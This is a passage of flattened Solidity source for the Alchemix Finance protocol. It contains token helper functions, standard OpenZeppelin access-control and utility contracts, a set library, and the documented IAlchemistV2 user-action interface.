expectDecimals(address token) internal view returns (uint8) { (bool success, bytes memory data) = token.staticcall( abi.encodeWithSelector(IERC20Metadata.decimals.selector) ); if (!success || data.length < 32) { revert ERC20CallFailed(token, success, data); } return abi.decode(data, (uint8)); } /// @dev Gets the balance of tokens held by an account. /// /// @dev Reverts with a {CallFailed} error if execution of the query fails or returns an unexpected value. /// /// @param token The token to check the balance of. /// @param account The address of the token holder. /// /// @return The balance of the tokens held by an account. function safeBalanceOf(address token, address account) internal view returns (uint256) { (bool success, bytes memory data) = token.staticcall( abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, account) ); if (!success || data.length < 32) { revert ERC20CallFailed(token, success, data); } return abi.decode(data, (uint256)); } /// @dev Transfers tokens to another address. /// /// @dev Reverts with a {CallFailed} error if execution of the transfer failed or returns an unexpected value. /// /// @param token The token to transfer. /// @param recipient The address of the recipient. /// @param amount The amount of tokens to transfer. function safeTransfer(address token, address recipient, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Minimal.transfer.selector, recipient, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Approves tokens for the smart contract. /// /// @dev Reverts with a {CallFailed} error if execution of the approval fails or returns an unexpected value. /// /// @param token The token to approve. /// @param spender The contract to spend the tokens. /// @param value The amount of tokens to approve. function safeApprove(address token, address spender, uint256 value) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Minimal.approve.selector, spender, value) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Transfer tokens from one address to another address. /// /// @dev Reverts with a {CallFailed} error if execution of the transfer fails or returns an unexpected value. /// /// @param token The token to transfer. /// @param owner The address of the owner. /// @param recipient The address of the recipient. /// @param amount The amount of tokens to transfer. function safeTransferFrom(address token, address owner, address recipient, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Minimal.transferFrom.selector, owner, recipient, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Mints tokens to an address. /// /// @dev Reverts with a {CallFailed} error if execution of the mint fails or returns an unexpected value. /// /// @param token The token to mint. /// @param recipient The address of the recipient. /// @param amount The amount of tokens to mint. function safeMint(address token, address recipient, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Mintable.mint.selector, recipient, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Burns tokens. /// /// Reverts with a `CallFailed` error if execution of the burn fails or returns an unexpected value. /// /// @param token The token to burn. /// @param amount The amount of tokens to burn. function safeBurn(address token, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Burnable.burn.selector, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } /// @dev Burns tokens from its total supply. /// /// @dev Reverts with a {CallFailed} error if execution of the burn fails or returns an unexpected value. /// /// @param token The token to burn. /// @param owner The owner of the tokens. /// @param amount The amount of tokens to burn. function safeBurnFrom(address token, address owner, uint256 amount) internal { (bool success, bytes memory data) = token.call( abi.encodeWithSelector(IERC20Burnable.burnFrom.selector, owner, amount) ); if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert ERC20CallFailed(token, success, data); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.11; /// @title Sets /// @author Alchemix Finance library Sets { using Sets for AddressSet; /// @notice A data structure holding an array of values with an index mapping for O(1) lookup. struct AddressSet { address[] values; mapping(address => uint256) indexes; } /// @dev Add a value to a Set /// /// @param self The Set. /// @param value The value to add. /// /// @return Whether the operation was successful (unsuccessful if the value is already contained in the Set) function add(AddressSet storage self, address value) internal returns (bool) { if (self.contains(value)) { return false; } self.values.push(value); self.indexes[value] = self.values.length; return true; } /// @dev Remove a value from a Set /// /// @param self The Set. /// @param value The value to remove. /// /// @return Whether the operation was successful (unsuccessful if the value was not contained in the Set) function remove(AddressSet storage self, address value) internal returns (bool) { uint256 index = self.indexes[value]; if (index == 0) { return false; } // Normalize the index since we know that the element is in the set. index--; uint256 lastIndex = self.values.length - 1; if (index != lastIndex) { address lastValue = self.values[lastIndex]; self.values[index] = lastValue; self.indexes[lastValue] = index + 1; } self.values.pop(); delete self.indexes[value]; return true; } /// @dev Returns true if the value exists in the Set /// /// @param self The Set. /// @param value The value to check. /// /// @return True if the value is contained in the Set, False if it is not. function contains(AddressSet storage self, address value) internal view returns (bool) { return self.indexes[value] != 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity >=0.5.0; import "./alchemist/IAlchemistV2Actions.sol"; import "./alchemist/IAlchemistV2AdminActions.sol"; import "./alchemist/IAlchemistV2Errors.sol"; import "./alchemist/IAlchemistV2Immutables.sol"; import "./alchemist/IAlchemistV2Events.sol"; import "./alchemist/IAlchemistV2State.sol"; /// @title IAlchemistV2 /// @author Alchemix Finance interface IAlchemistV2 is IAlchemistV2Actions, IAlchemistV2AdminActions, IAlchemistV2Errors, IAlchemistV2Immutables, IAlchemistV2Events, IAlchemistV2State { } pragma solidity >=0.5.0; /// @title IERC20TokenReceiver /// @author Alchemix Finance interface IERC20TokenReceiver { /// @notice Informs implementors of this interface that an ERC20 token has been transferred. /// /// @param token The token that was transferred. /// @param value The amount of the token that was transferred. function onERC20Received(address token, uint256 value) external; } pragma solidity >=0.5.0; /// @title IAlchemistV2Actions /// @author Alchemix Finance /// /// @notice Specifies user actions. interface IAlchemistV2Actions { /// @notice Approve `spender` to mint `amount` debt tokens. /// /// **_NOTE:_** This function is WHITELISTED. /// /// @param spender The address that will be approved to mint. /// @param amount The amount of tokens that `spender` will be allowed to mint. function approveMint(address spender, uint256 amount) external; /// @notice Approve `spender` to withdraw `amount` shares of `yieldToken`. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// /// @param spender The address that will be approved to withdraw. /// @param yieldToken The address of the yield token that `spender` will be allowed to withdraw. /// @param shares The amount of shares that `spender` will be allowed to withdraw. function approveWithdraw( address spender, address yieldToken, uint256 shares ) external; /// @notice Synchronizes the state of the account owned by `owner`. /// /// @param owner The owner of the account to synchronize. function poke(address owner) external; /// @notice Deposit a yield token into a user's account. /// /// @notice An approval must be set for `yieldToken` which is greater than `amount`. /// /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// @notice `yieldToken` must be enabled or this call will revert with a {TokenDisabled} error. /// @notice `yieldToken` underlying token must be enabled or this call will revert with a {TokenDisabled} error. /// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error. /// @notice `amount` must be greater than zero or the call will revert with an {IllegalArgument} error. /// /// @notice Emits a {Deposit} event. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// /// @notice **_NOTE:_** When depositing, the `AlchemistV2` contract must have **allowance()** to spend funds on behalf of **msg.sender** for at least **amount** of the **yieldToken** being deposited. This can be done via the standard `ERC20.approve()` method. /// /// @notice **Example:** /// @notice ``` /// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95; /// @notice uint256 amount = 50000; /// @notice IERC20(ydai).approve(alchemistAddress, amount); /// @notice AlchemistV2(alchemistAddress).deposit(ydai, amount, msg.sender); /// @notice ``` /// /// @param yieldToken The yield-token to deposit. /// @param amount The amount of yield tokens to deposit. /// @param recipient The owner of the account that will receive the resulting shares. /// /// @return sharesIssued The number of shares issued to `recipient`. function deposit( address yieldToken, uint256 amount, address recipient ) external returns (uint256 sharesIssued); /// @notice Deposit an underlying token into the account of `recipient` as `yieldToken`. /// /// @notice An approval must be set for the underlying token of `yieldToken` which is greater than `amount`. /// /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error. /// @notice `amount` must be greater than zero or the call will revert with an {IllegalArgument} error. /// /// @notice Emits a {Deposit} event. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// @notice **_NOTE:_** When depositing, the `AlchemistV2` contract must have **allowance()** to spend funds on behalf of **msg.sender** for at least **amount** of the **underlyingToken** being deposited. This can be done via the standard `ERC20.approve()` method. /// /// @notice **Example:** /// @notice ``` /// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95; /// @notice uint256 amount = 50000; /// @notice AlchemistV2(alchemistAddress).depositUnderlying(ydai, amount, msg.sender, 1); /// @notice ``` /// /// @param yieldToken The address of the yield token to wrap the underlying tokens into. /// @param amount The amount of the underlying token to deposit. /// @param recipient The address of the recipient. /// @param minimumAmountOut The minimum amount of yield tokens that are expected to be deposited to `recipient`. /// /// @return sharesIssued The number of shares issued to `recipient`. function depositUnderlying( address yieldToken, uint256 amount, address recipient, uint256 minimumAmountOut ) external returns (uint256 sharesIssued); /// @notice Withdraw yield tokens to `recipient` by burning `share` shares. The number of yield tokens withdrawn to `recipient` will depend on the value of shares for that yield token at the time of the call. /// /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error. /// /// @notice Emits a {Withdraw} event. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// /// @notice **Example:** /// @notice ``` /// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95; /// @notice uint256 pps = AlchemistV2(alchemistAddress).getYieldTokensPerShare(ydai); /// @notice uint256 amtYieldTokens = 5000; /// @notice AlchemistV2(alchemistAddress).withdraw(ydai, amtYieldTokens / pps, msg.sender); /// @notice ``` /// /// @param yieldToken The address of the yield token to withdraw. /// @param shares The number of shares to burn. /// @param recipient The address of the recipient. /// /// @return amountWithdrawn The number of yield tokens that were withdrawn to `recipient`. function withdraw( address yieldToken, uint256 shares, address recipient ) external returns (uint256 amountWithdrawn); /// @notice Withdraw yield tokens to `recipient` by burning `share` shares from the account of `owner` /// /// @notice `owner` must have an withdrawal allowance which is greater than `amount` for this call to succeed. /// /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error. /// /// @notice Emits a {Withdraw} event. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// /// @notice **Example:** /// @notice ``` /// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95; /// @notice uint256 pps = AlchemistV2(alchemistAddress).getYieldTokensPerShare(ydai); /// @notice uint256 amtYieldTokens = 5000; /// @notice AlchemistV2(alchemistAddress).withdrawFrom(msg.sender, ydai, amtYieldTokens / pps, msg.sender); /// @notice ``` /// /// @param owner The address of the account owner to withdraw from. /// @param yieldToken The address of the yield token to withdraw. /// @param shares The number of shares to burn. /// @param recipient The address of the recipient. /// /// @return amountWithdrawn The number of yield tokens that were withdrawn to `recipient`. function withdrawFrom( address owner, address yieldToken, uint256 shares, address recipient ) external returns (uint256 amountWithdrawn); /// @notice Withdraw underlying tokens to `recipient` by burning `share` shares and unwrapping the yield tokens that the shares were redeemed for. /// /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error. /// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error. /// /// @notice Emits a {Withdraw} event. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// @notice **_NOTE:_** The caller of `withdrawFrom()` must have **withdrawAllowance()** to withdraw funds on behalf of **owner** for at least the amount of `yieldTokens` that **shares** will be converted to. This can be done via the `approveWithdraw()` or `permitWithdraw()` methods. /// /// @notice **Example:** /// @notice ``` /// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95; /// @notice uint256 pps = AlchemistV2(alchemistAddress).getUnderlyingTokensPerShare(ydai); /// @notice uint256 amountUnderlyingTokens = 5000; /// @notice AlchemistV2(alchemistAddress).withdrawUnderlying(ydai, amountUnderlyingTokens / pps, msg.sender, 1); /// @notice ``` /// /// @param yieldToken The address of the yield token to withdraw. /// @param shares The number of shares to burn. /// @param recipient The address of the recipient. /// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`. /// /// @return amountWithdrawn The number of underlying tokens that were withdrawn to `recipient`. function withdrawUnderlying( address yieldToken, uint256 shares, address recipient, uint256 minimumAmountOut ) external returns (uint256 amountWithdrawn); /// @notice Withdraw underlying tokens to `recipient` by burning `share` shares from the account of `owner` and unwrapping the yield tokens that the shares were redeemed for. /// /// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error. /// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error. /// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error. /// /// @notice Emits a {Withdraw} event. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// @notice **_NOTE:_** The caller of `withdrawFrom()` must have **withdrawAllowance()** to withdraw funds on behalf of **owner** for at least the amount of `yieldTokens` that **shares** will be converted to. This can be done via the `approveWithdraw()` or `permitWithdraw()` methods. /// /// @notice **Example:** /// @notice ``` /// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95; /// @notice uint256 pps = AlchemistV2(alchemistAddress).getUnderlyingTokensPerShare(ydai); /// @notice uint256 amtUnderlyingTokens = 5000 * 10**ydai.decimals(); /// @notice AlchemistV2(alchemistAddress).withdrawUnderlying(msg.sender, ydai, amtUnderlyingTokens / pps, msg.sender, 1); /// @notice ``` /// /// @param owner The address of the account owner to withdraw from. /// @param yieldToken The address of the yield token to withdraw. /// @param shares The number of shares to burn. /// @param recipient The address of the recipient. /// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`. /// /// @return amountWithdrawn The number of underlying tokens that were withdrawn to `recipient`. function withdrawUnderlyingFrom( address owner, address yieldToken, uint256 shares, address recipient, uint256 minimumAmountOut ) external returns (uint256 amountWithdrawn); /// @notice Mint `amount` debt tokens. /// /// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error. /// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error. /// /// @notice Emits a {Mint} event. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// /// @notice **Example:** /// @notice ``` /// @notice uint256 amtDebt = 5000; /// @notice AlchemistV2(alchemistAddress).mint(amtDebt, msg.sender); /// @notice ``` /// /// @param amount The amount of tokens to mint. /// @param recipient The address of the recipient. function mint(uint256 amount, address recipient) external; /// @notice Mint `amount` debt tokens from the account owned by `owner` to `recipient`. /// /// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error. /// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error. /// /// @notice Emits a {Mint} event. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// @notice **_NOTE:_** The caller of `mintFrom()` must have **mintAllowance()** to mint debt from the `Account` controlled by **owner** for at least the amount of **yieldTokens** that **shares** will be converted to. This can be done via the `approveMint()` or `permitMint()` methods. /// /// @notice **Example:** /// @notice ``` /// @notice uint256 amtDebt = 5000; /// @notice AlchemistV2(alchemistAddress).mintFrom(msg.sender, amtDebt, msg.sender); /// @notice ``` /// /// @param owner The address of the owner of the account to mint from. /// @param amount The amount of tokens to mint. /// @param recipient The address of the recipient. function mintFrom( address owner, uint256 amount, address recipient ) external; /// @notice Burn `amount` debt tokens to credit the account owned by `recipient`. /// /// @notice `amount` will be limited up to the amount of debt that `recipient` currently holds. /// /// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error. /// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error. /// @notice `recipient` must have non-zero debt or this call will revert with an {IllegalState} error. /// /// @notice Emits a {Burn} event. /// /// @notice **_NOTE:_** This function is WHITELISTED. /// /// @notice **Example:** /// @notice ``` /// @notice uint256 amtBurn = 5000; /// @notice AlchemistV2(alchemistAddress).burn(amtBurn, msg.sender); /// @notice ``` /// /// @param amount The amount of tokens to burn. /// @param recipient The address of the recipient. /// /// @return amountBurned The amount of tokens that were burned. function burn(uint256 amount, address recipient) external returns (uint256 amountBurned); /// @notice Repay `amount` debt using `underlyingToken` to credit the account owned by 